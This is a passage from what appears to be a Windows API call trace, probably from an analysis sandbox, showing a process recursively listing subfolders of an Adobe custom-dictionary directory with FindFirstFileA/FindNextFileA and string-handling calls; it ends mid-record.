ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0086.909] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.909] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0086.909] lstrcmpA (lpString1=".", lpString2="Linguistics") returned -1 [0086.909] lstrcmpA (lpString1="..", lpString2="Linguistics") returned -1 [0086.909] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*.*") returned="*.*" [0086.909] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0086.909] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned 64 [0086.909] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.910] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.910] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.910] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.910] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.910] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0086.910] lstrcmpA (lpString1=".", lpString2="Dictionaries") returned -1 [0086.910] lstrcmpA (lpString1="..", lpString2="Dictionaries") returned -1 [0086.910] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*.*") returned="*.*" [0086.910] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\", lpString2="Dictionaries" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0086.910] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned 77 [0086.910] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.913] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.913] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.913] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.913] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.913] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0086.913] lstrcmpA (lpString1=".", lpString2="Adobe Custom Dictionary") returned -1 [0086.913] lstrcmpA (lpString1="..", lpString2="Adobe Custom Dictionary") returned -1 [0086.913] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*.*") returned="*.*" [0086.913] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\", lpString2="Adobe Custom Dictionary" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0086.913] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned 101 [0086.913] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.916] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.916] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.916] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.916] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.916] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0086.916] lstrcmpA (lpString1=".", lpString2="all") returned -1 [0086.916] lstrcmpA (lpString1="..", lpString2="all") returned -1 [0086.916] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.916] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="all" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all" [0086.916] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned 105 [0086.916] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.917] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.917] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.917] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.917] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.917] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.917] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.917] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0061, dwReserved1=0x6c, cFileName="brt", cAlternateFileName="")) returned 1 [0086.917] lstrcmpA (lpString1=".", lpString2="brt") returned -1 [0086.917] lstrcmpA (lpString1="..", lpString2="brt") returned -1 [0086.917] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.917] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="brt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt" [0086.917] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned 105 [0086.917] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.918] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.918] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.919] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.919] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.919] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.919] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.919] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720062, dwReserved1=0x74, cFileName="brz", cAlternateFileName="")) returned 1 [0086.919] lstrcmpA (lpString1=".", lpString2="brz") returned -1 [0086.919] lstrcmpA (lpString1="..", lpString2="brz") returned -1 [0086.919] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.919] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="brz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz" [0086.919] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned 105 [0086.919] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.920] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.921] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.921] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.921] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.921] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.921] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720062, dwReserved1=0x7a, cFileName="dan", cAlternateFileName="")) returned 1 [0086.921] lstrcmpA (lpString1=".", lpString2="dan") returned -1 [0086.921] lstrcmpA (lpString1="..", lpString2="dan") returned -1 [0086.921] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.921] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="dan" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan" [0086.921] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned 105 [0086.921] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.922] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.922] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.922] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.922] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.922] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.922] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.922] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610064, dwReserved1=0x6e, cFileName="dut", cAlternateFileName="")) returned 1 [0086.922] lstrcmpA (lpString1=".", lpString2="dut") returned -1 [0086.922] lstrcmpA (lpString1="..", lpString2="dut") returned -1 [0086.922] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*.*") returned="*.*" [0086.922] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpString2="dut" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut" [0086.922] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned 105 [0086.923] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.923] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.923] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.923] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.923] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.923] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, 